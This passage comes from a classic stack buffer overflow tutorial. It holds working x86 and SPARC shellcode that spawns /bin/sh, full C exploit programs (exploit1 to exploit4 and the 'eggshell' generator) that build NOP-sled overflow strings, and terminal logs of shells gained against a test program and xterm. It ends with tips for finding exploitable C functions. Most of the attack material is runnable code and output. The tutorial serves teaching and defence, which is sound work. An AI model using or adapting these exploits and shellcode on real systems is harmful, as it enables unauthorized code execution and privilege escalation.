  697. leal 0xc(%esi),%edx # 3 bytes
  698. int $0x80 # 2 bytes
  699. xorl %ebx,%ebx # 2 bytes
  700. movl %ebx,%eax # 2 bytes
  701. inc %eax # 1 bytes
  702. int $0x80 # 2 bytes
  703. call -0x24 # 5 bytes
  704. .string \"/bin/sh\" # 8 bytes
  705. # 46 bytes total
  706. ");
  707. }
  708. ------------------------------------------------------------------------------
  709. And our new test program:
  710. testsc2.c
  711. ------------------------------------------------------------------------------
  712. char shellcode[] =
  713. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  714. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  715. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  716. void main() {
  717. int *ret;
  718. ret = (int *)&ret + 2;
  719. (*ret) = (int)shellcode;
  720. }
  721. ------------------------------------------------------------------------------
  722. ------------------------------------------------------------------------------
  723. [aleph1]$ gcc -o testsc2 testsc2.c
  724. [aleph1]$ ./testsc2
  725. $ exit
  726. [aleph1]$
  727. ------------------------------------------------------------------------------
  728. Writing an Exploit
  729. ~~~~~~~~~~~~~~~~~~
  730. (or how to mung the stack)
  731. ~~~~~~~~~~~~~~~~~~~~~~~~~~
  732. Lets try to pull all our pieces together. We have the shellcode. We know
  733. it must be part of the string which we'll use to overflow the buffer. We
  734. know we must point the return address back into the buffer. This example will
  735. demonstrate these points:
  736. overflow1.c
  737. ------------------------------------------------------------------------------
  738. char shellcode[] =
  739. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  740. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  741. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  742. char large_string[128];
  743. void main() {
  744. char buffer[96];
  745. int i;
  746. long *long_ptr = (long *) large_string;
  747. for (i = 0; i < 32; i++)
  748. *(long_ptr + i) = (int) buffer;
  749. for (i = 0; i < strlen(shellcode); i++)
  750. large_string[i] = shellcode[i];
  751. strcpy(buffer,large_string);
  752. }
  753. ------------------------------------------------------------------------------
  754. ------------------------------------------------------------------------------
  755. [aleph1]$ gcc -o exploit1 exploit1.c
  756. [aleph1]$ ./exploit1
  757. $ exit
  758. exit
  759. [aleph1]$
  760. ------------------------------------------------------------------------------
  761. What we have done above is filled the array large_string[] with the
  762. address of buffer[], which is where our code will be. Then we copy our
  763. shellcode into the beginning of the large_string string. strcpy() will then
  764. copy large_string onto buffer without doing any bounds checking, and will
  765. overflow the return address, overwriting it with the address where our code
  766. is now located. Once we reach the end of main and it tried to return it
  767. jumps to our code, and execs a shell.
  768. The problem we are faced when trying to overflow the buffer of another
  769. program is trying to figure out at what address the buffer (and thus our
  770. code) will be. The answer is that for every program the stack will
  771. start at the same address. Most programs do not push more than a few hundred
  772. or a few thousand bytes into the stack at any one time. Therefore by knowing
  773. where the stack starts we can try to guess where the buffer we are trying to
  774. overflow will be. Here is a little program that will print its stack
  775. pointer:
  776. sp.c
  777. ------------------------------------------------------------------------------
  778. unsigned long get_sp(void) {
  779. __asm__("movl %esp,%eax");
  780. }
  781. void main() {
  782. printf("0x%x\n", get_sp());
  783. }
  784. ------------------------------------------------------------------------------
  785. ------------------------------------------------------------------------------
  786. [aleph1]$ ./sp
  787. 0x8000470
  788. [aleph1]$
  789. ------------------------------------------------------------------------------
  790. Lets assume this is the program we are trying to overflow is:
  791. vulnerable.c
  792. ------------------------------------------------------------------------------
  793. void main(int argc, char *argv[]) {
  794. char buffer[512];
  795. if (argc > 1)
  796. strcpy(buffer,argv[1]);
  797. }
  798. ------------------------------------------------------------------------------
  799. We can create a program that takes as a parameter a buffer size, and an
  800. offset from its own stack pointer (where we believe the buffer we want to
  801. overflow may live). We'll put the overflow string in an environment variable
  802. so it is easy to manipulate:
  803. exploit2.c
  804. ------------------------------------------------------------------------------
  805. #include <stdlib.h>
  806. #define DEFAULT_OFFSET 0
  807. #define DEFAULT_BUFFER_SIZE 512
  808. char shellcode[] =
  809. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  810. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  811. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  812. unsigned long get_sp(void) {
  813. __asm__("movl %esp,%eax");
  814. }
  815. void main(int argc, char *argv[]) {
  816. char *buff, *ptr;
  817. long *addr_ptr, addr;
  818. int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  819. int i;
  820. if (argc > 1) bsize = atoi(argv[1]);
  821. if (argc > 2) offset = atoi(argv[2]);
  822. if (!(buff = malloc(bsize))) {
  823. printf("Can't allocate memory.\n");
  824. exit(0);
  825. }
  826. addr = get_sp() - offset;
  827. printf("Using address: 0x%x\n", addr);
  828. ptr = buff;
  829. addr_ptr = (long *) ptr;
  830. for (i = 0; i < bsize; i+=4)
  831. *(addr_ptr++) = addr;
  832. ptr += 4;
  833. for (i = 0; i < strlen(shellcode); i++)
  834. *(ptr++) = shellcode[i];
  835. buff[bsize - 1] = '\0';
  836. memcpy(buff,"EGG=",4);
  837. putenv(buff);
  838. system("/bin/bash");
  839. }
  840. ------------------------------------------------------------------------------
  841. Now we can try to guess what the buffer and offset should be:
  842. ------------------------------------------------------------------------------
  843. [aleph1]$ ./exploit2 500
  844. Using address: 0xbffffdb4
  845. [aleph1]$ ./vulnerable $EGG
  846. [aleph1]$ exit
  847. [aleph1]$ ./exploit2 600
  848. Using address: 0xbffffdb4
  849. [aleph1]$ ./vulnerable $EGG
  850. Illegal instruction
  851. [aleph1]$ exit
  852. [aleph1]$ ./exploit2 600 100
  853. Using address: 0xbffffd4c
  854. [aleph1]$ ./vulnerable $EGG
  855. Segmentation fault
  856. [aleph1]$ exit
  857. [aleph1]$ ./exploit2 600 200
  858. Using address: 0xbffffce8
  859. [aleph1]$ ./vulnerable $EGG
  860. Segmentation fault
  861. [aleph1]$ exit
  862. .
  863. .
  864. .
  865. [aleph1]$ ./exploit2 600 1564
  866. Using address: 0xbffff794
  867. [aleph1]$ ./vulnerable $EGG
  868. $
  869. ------------------------------------------------------------------------------
  870. As we can see this is not an efficient process. Trying to guess the
  871. offset even while knowing where the beginning of the stack lives is nearly
  872. impossible. We would need at best a hundred tries, and at worst a couple of
  873. thousand. The problem is we need to guess *exactly* where the address of our
  874. code will start. If we are off by one byte more or less we will just get a
  875. segmentation violation or a invalid instruction. One way to increase our
  876. chances is to pad the front of our overflow buffer with NOP instructions.
  877. Almost all processors have a NOP instruction that performs a null operation.
  878. It is usually used to delay execution for purposes of timing. We will take
  879. advantage of it and fill half of our overflow buffer with them. We will place
  880. our shellcode at the center, and then follow it with the return addresses. If
  881. we are lucky and the return address points anywhere in the string of NOPs,
  882. they will just get executed until they reach our code. In the Intel
  883. architecture the NOP instruction is one byte long and it translates to 0x90
  884. in machine code. Assuming the stack starts at address 0xFF, that S stands for
  885. shell code, and that N stands for a NOP instruction the new stack would look
  886. like this:
  887. bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
  888. memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
  889. buffer sfp ret a b c
  890. <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
  891. ^ |
  892. |_____________________|
  893. top of bottom of
  894. stack stack
  895. The new exploits is then:
  896. exploit3.c
  897. ------------------------------------------------------------------------------
  898. #include <stdlib.h>
  899. #define DEFAULT_OFFSET 0
  900. #define DEFAULT_BUFFER_SIZE 512
  901. #define NOP 0x90
  902. char shellcode[] =
  903. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  904. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  905. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  906. unsigned long get_sp(void) {
  907. __asm__("movl %esp,%eax");
  908. }
  909. void main(int argc, char *argv[]) {
  910. char *buff, *ptr;
  911. long *addr_ptr, addr;
  912. int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  913. int i;
  914. if (argc > 1) bsize = atoi(argv[1]);
  915. if (argc > 2) offset = atoi(argv[2]);
  916. if (!(buff = malloc(bsize))) {
  917. printf("Can't allocate memory.\n");
  918. exit(0);
  919. }
  920. addr = get_sp() - offset;
  921. printf("Using address: 0x%x\n", addr);
  922. ptr = buff;
  923. addr_ptr = (long *) ptr;
  924. for (i = 0; i < bsize; i+=4)
  925. *(addr_ptr++) = addr;
  926. for (i = 0; i < bsize/2; i++)
  927. buff[i] = NOP;
  928. ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  929. for (i = 0; i < strlen(shellcode); i++)
  930. *(ptr++) = shellcode[i];
  931. buff[bsize - 1] = '\0';
  932. memcpy(buff,"EGG=",4);
  933. putenv(buff);
  934. system("/bin/bash");
  935. }
  936. ------------------------------------------------------------------------------
  937. A good selection for our buffer size is about 100 bytes more than the size
  938. of the buffer we are trying to overflow. This will place our code at the end
  939. of the buffer we are trying to overflow, giving a lot of space for the NOPs,
  940. but still overwriting the return address with the address we guessed. The
  941. buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's
  942. try to overflow our test program with our new exploit:
  943. ------------------------------------------------------------------------------
  944. [aleph1]$ ./exploit3 612
  945. Using address: 0xbffffdb4
  946. [aleph1]$ ./vulnerable $EGG
  947. $
  948. ------------------------------------------------------------------------------
  949. Whoa! First try! This change has improved our chances a hundredfold.
  950. Let's try it now on a real case of a buffer overflow. We'll use for our
  951. demonstration the buffer overflow on the Xt library. For our example, we'll
  952. use xterm (all programs linked with the Xt library are vulnerable). You must
  953. be running an X server and allow connections to it from the localhost. Set
  954. your DISPLAY variable accordingly.
  955. ------------------------------------------------------------------------------
  956. [aleph1]$ export DISPLAY=:0.0
  957. [aleph1]$ ./exploit3 1124
  958. Using address: 0xbffffdb4
  959. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  960. Warning: Color name "�^1�FF
  961. �V
  962. �1��@������/bin/sh���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  963. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  964. ��������������������������������������������������������������
  965. ^C
  966. [aleph1]$ exit
  967. [aleph1]$ ./exploit3 2148 100
  968. Using address: 0xbffffd48
  969. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  970. Warning: Color name "�^1�FF
  971. �V
  972. �1��@������/bin/sh���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H�
  973. ��H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H
  974. ���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���
  975. H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H��
  976. �H���H���H���H���H���H���H���H���H���H���H���H��
  977. Warning: some arguments in previous message were lost
  978. Illegal instruction
  979. [aleph1]$ exit
  980. .
  981. .
  982. .
  983. [aleph1]$ ./exploit4 2148 600
  984. Using address: 0xbffffb54
  985. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  986. Warning: Color name "�^1�FF
  987. �V
  988. �1��@������/bin/sh���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T�
  989. ��T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T
  990. ���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���
  991. T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T��
  992. �T���T���T���T���T���T���T���T���T���T���T���T��
  993. Warning: some arguments in previous message were lost
  994. bash$
  995. ------------------------------------------------------------------------------
  996. Eureka! Less than a dozen tries and we found the magic numbers. If xterm
  997. where installed suid root this would now be a root shell.
  998. Small Buffer Overflows
  999. ~~~~~~~~~~~~~~~~~~~~~~
  1000. There will be times when the buffer you are trying to overflow is so
  1001. small that either the shellcode wont fit into it, and it will overwrite the
  1002. return address with instructions instead of the address of our code, or the
  1003. number of NOPs you can pad the front of the string with is so small that the
  1004. chances of guessing their address is minuscule. To obtain a shell from these
  1005. programs we will have to go about it another way. This particular approach
  1006. only works when you have access to the program's environment variables.
  1007. What we will do is place our shellcode in an environment variable, and
  1008. then overflow the buffer with the address of this variable in memory. This
  1009. method also increases your changes of the exploit working as you can make
  1010. the environment variable holding the shell code as large as you want.
  1011. The environment variables are stored in the top of the stack when the
  1012. program is started, any modification by setenv() are then allocated
  1013. elsewhere. The stack at the beginning then looks like this:
  1014. <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
  1015. Our new program will take an extra variable, the size of the variable
  1016. containing the shellcode and NOPs. Our new exploit now looks like this:
  1017. exploit4.c
  1018. ------------------------------------------------------------------------------
  1019. #include <stdlib.h>
  1020. #define DEFAULT_OFFSET 0
  1021. #define DEFAULT_BUFFER_SIZE 512
  1022. #define DEFAULT_EGG_SIZE 2048
  1023. #define NOP 0x90
  1024. char shellcode[] =
  1025. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1026. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1027. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  1028. unsigned long get_esp(void) {
  1029. __asm__("movl %esp,%eax");
  1030. }
  1031. void main(int argc, char *argv[]) {
  1032. char *buff, *ptr, *egg;
  1033. long *addr_ptr, addr;
  1034. int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1035. int i, eggsize=DEFAULT_EGG_SIZE;
  1036. if (argc > 1) bsize = atoi(argv[1]);
  1037. if (argc > 2) offset = atoi(argv[2]);
  1038. if (argc > 3) eggsize = atoi(argv[3]);
  1039. if (!(buff = malloc(bsize))) {
  1040. printf("Can't allocate memory.\n");
  1041. exit(0);
  1042. }
  1043. if (!(egg = malloc(eggsize))) {
  1044. printf("Can't allocate memory.\n");
  1045. exit(0);
  1046. }
  1047. addr = get_esp() - offset;
  1048. printf("Using address: 0x%x\n", addr);
  1049. ptr = buff;
  1050. addr_ptr = (long *) ptr;
  1051. for (i = 0; i < bsize; i+=4)
  1052. *(addr_ptr++) = addr;
  1053. ptr = egg;
  1054. for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  1055. *(ptr++) = NOP;
  1056. for (i = 0; i < strlen(shellcode); i++)
  1057. *(ptr++) = shellcode[i];
  1058. buff[bsize - 1] = '\0';
  1059. egg[eggsize - 1] = '\0';
  1060. memcpy(egg,"EGG=",4);
  1061. putenv(egg);
  1062. memcpy(buff,"RET=",4);
  1063. putenv(buff);
  1064. system("/bin/bash");
  1065. }
  1066. ------------------------------------------------------------------------------
  1067. Lets try our new exploit with our vulnerable test program:
  1068. ------------------------------------------------------------------------------
  1069. [aleph1]$ ./exploit4 768
  1070. Using address: 0xbffffdb0
  1071. [aleph1]$ ./vulnerable $RET
  1072. $
  1073. ------------------------------------------------------------------------------
  1074. Works like a charm. Now lets try it on xterm:
  1075. ------------------------------------------------------------------------------
  1076. [aleph1]$ export DISPLAY=:0.0
  1077. [aleph1]$ ./exploit4 2148
  1078. Using address: 0xbffffdb0
  1079. [aleph1]$ /usr/X11R6/bin/xterm -fg $RET
  1080. Warning: Color name
  1081. "��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1082. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1083. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1084. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1085. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1086. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1087. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1088. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1089. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1090. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1091. ����������
  1092. Warning: some arguments in previous message were lost
  1093. $
  1094. ------------------------------------------------------------------------------
  1095. On the first try! It has certainly increased our odds. Depending how
  1096. much environment data the exploit program has compared with the program
  1097. you are trying to exploit the guessed address may be to low or to high.
  1098. Experiment both with positive and negative offsets.
  1099. Finding Buffer Overflows
  1100. ~~~~~~~~~~~~~~~~~~~~~~~~
  1101. As stated earlier, buffer overflows are the result of stuffing more
  1102. information into a buffer than it is meant to hold. Since C does not have any
  1103. built-in bounds checking, overflows often manifest themselves as writing past
  1104. the end of a character array. The standard C library provides a number of
  1105. functions for copying or appending strings, that perform no boundary checking.
  1106. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions
  1107. operate on null-terminated strings, and do not check for overflow of the
  1108. receiving string. gets() is a function that reads a line from stdin into
  1109. a buffer until either a terminating newline or EOF. It performs no checks for
  1110. buffer overflows. The scanf() family of functions can also be a problem if
  1111. you are matching a sequence of non-white-space characters (%s), or matching a
  1112. non-empty sequence of characters from a specified set (%[]), and the array
  1113. pointed to by the char pointer, is not large enough to accept the whole
  1114. sequence of characters, and you have not defined the optional maximum field
  1115. width. If the target of any of these functions is a buffer of static size,
  1116. and its other argument was somehow derived from user input there is a good
  1117. posibility that you might be able to exploit a buffer overflow.
  1118. Another usual programming construct we find is the use of a while loop to
  1119. read one character at a time into a buffer from stdin or some file until the
  1120. end of line, end of file, or some other delimiter is reached. This type of
  1121. construct usually uses one of these functions: getc(), fgetc(), or getchar().
  1122. If there is no explicit checks for overflows in the while loop, such programs
  1123. are easily exploited.
  1124. To conclude, grep(1) is your friend. The sources for free operating
  1125. systems and their utilities is readily available. This fact becomes quite
  1126. interesting once you realize that many comercial operating systems utilities
  1127. where derived from the same sources as the free ones. Use the source d00d.
  1128. Appendix A - Shellcode for Different Operating Systems/Architectures
  1129. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1130. i386/Linux
  1131. ------------------------------------------------------------------------------
  1132. jmp 0x1f
  1133. popl %esi
  1134. movl %esi,0x8(%esi)
  1135. xorl %eax,%eax
  1136. movb %eax,0x7(%esi)
  1137. movl %eax,0xc(%esi)
  1138. movb $0xb,%al
  1139. movl %esi,%ebx
  1140. leal 0x8(%esi),%ecx
  1141. leal 0xc(%esi),%edx
  1142. int $0x80
  1143. xorl %ebx,%ebx
  1144. movl %ebx,%eax
  1145. inc %eax
  1146. int $0x80
  1147. call -0x24
  1148. .string \"/bin/sh\"
  1149. ------------------------------------------------------------------------------
  1150. SPARC/Solaris
  1151. ------------------------------------------------------------------------------
  1152. sethi 0xbd89a, %l6
  1153. or %l6, 0x16e, %l6
  1154. sethi 0xbdcda, %l7
  1155. and %sp, %sp, %o0
  1156. add %sp, 8, %o1
  1157. xor %o2, %o2, %o2
  1158. add %sp, 16, %sp
  1159. std %l6, [%sp - 16]
  1160. st %sp, [%sp - 8]
  1161. st %g0, [%sp - 4]
  1162. mov 0x3b, %g1
  1163. ta 8
  1164. xor %o7, %o7, %o0
  1165. mov 1, %g1
  1166. ta 8
  1167. ------------------------------------------------------------------------------
  1168. SPARC/SunOS
  1169. ------------------------------------------------------------------------------
  1170. sethi 0xbd89a, %l6
  1171. or %l6, 0x16e, %l6
  1172. sethi 0xbdcda, %l7
  1173. and %sp, %sp, %o0
  1174. add %sp, 8, %o1
  1175. xor %o2, %o2, %o2
  1176. add %sp, 16, %sp
  1177. std %l6, [%sp - 16]
  1178. st %sp, [%sp - 8]
  1179. st %g0, [%sp - 4]
  1180. mov 0x3b, %g1
  1181. mov -0x1, %l5
  1182. ta %l5 + 1
  1183. xor %o7, %o7, %o0
  1184. mov 1, %g1
  1185. ta %l5 + 1
  1186. ------------------------------------------------------------------------------
  1187. Appendix B - Generic Buffer Overflow Program
  1188. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1189. shellcode.h
  1190. ------------------------------------------------------------------------------
  1191. #if defined(__i386__) && defined(__linux__)
  1192. #define NOP_SIZE 1
  1193. char nop[] = "\x90";
  1194. char shellcode[] =
  1195. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1196. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1197. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  1198. unsigned long get_sp(void) {
  1199. __asm__("movl %esp,%eax");
  1200. }
  1201. #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
  1202. #define NOP_SIZE 4
  1203. char nop[]="\xac\x15\xa1\x6e";
  1204. char shellcode[] =
  1205. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  1206. "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  1207. "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  1208. "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
  1209. unsigned long get_sp(void) {
  1210. __asm__("or %sp, %sp, %i0");
  1211. }
  1212. #elif defined(__sparc__) && defined(__sun__)
  1213. #define NOP_SIZE 4
  1214. char nop[]="\xac\x15\xa1\x6e";
  1215. char shellcode[] =
  1216. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  1217. "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  1218. "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  1219. "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
  1220. unsigned long get_sp(void) {
  1221. __asm__("or %sp, %sp, %i0");
  1222. }
  1223. #endif
  1224. ------------------------------------------------------------------------------
  1225. eggshell.c
  1226. ------------------------------------------------------------------------------
  1227. /*
  1228. * eggshell v1.0
  1229. *
  1230. * Aleph One / aleph1@underground.org
  1231. */
  1232. #include <stdlib.h>
  1233. #include <stdio.h>
  1234. #include "shellcode.h"
  1235. #define DEFAULT_OFFSET 0
  1236. #define DEFAULT_BUFFER_SIZE 512
  1237. #define DEFAULT_EGG_SIZE 2048
  1238. void usage(void);
  1239. void main(int argc, char *argv[]) {
  1240. char *ptr, *bof, *egg;
  1241. long *addr_ptr, addr;
  1242. int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1243. int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
  1244. while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
  1245. switch (c) {
  1246. case 'a':
  1247. align = atoi(optarg);
  1248. break;
  1249. case 'b':
  1250. bsize = atoi(optarg);
  1251. break;
  1252. case 'e':
  1253. eggsize = atoi(optarg);
  1254. break;
  1255. case 'o':
  1256. offset = atoi(optarg);
  1257. break;
  1258. case '?':
  1259. usage();
  1260. exit(0);
  1261. }
  1262. if (strlen(shellcode) > eggsize) {
  1263. printf("Shellcode is larger the the egg.\n");
  1264. exit(0);
  1265. }
  1266. if (!(bof = malloc(bsize))) {
  1267. printf("Can't allocate memory.\n");
  1268. exit(0);
  1269. }
  1270. if (!(egg = malloc(eggsize))) {
  1271. printf("Can't allocate memory.\n");
  1272. exit(0);
  1273. }
  1274. addr = get_sp() - offset;
  1275. printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
  1276. bsize, eggsize, align);
  1277. printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
  1278. addr_ptr = (long *) bof;
  1279. for (i = 0; i < bsize; i+=4)
  1280. *(addr_ptr++) = addr;
  1281. ptr = egg;
  1282. for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
  1283. for (n = 0; n < NOP_SIZE; n++) {
  1284. m = (n + align) % NOP_SIZE;
  1285. *(ptr++) = nop[m];
  1286. }
  1287. for (i = 0; i < strlen(shellcode); i++)
  1288. *(ptr++) = shellcode[i];
  1289. bof[bsize - 1] = '\0';
  1290. egg[eggsize - 1] = '\0';
  1291. memcpy(egg,"EGG=",4);
  1292. putenv(egg);
  1293. memcpy(bof,"BOF=",4);
  1294. putenv(bof);
  1295. system("/bin/sh");
  1296. }
  1297. void usage(void) {
  1298. (void)fprintf(stderr,
  1299. "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
  1300. }
  1301. ------------------------------------------------------------------------------

comments powered by Disqus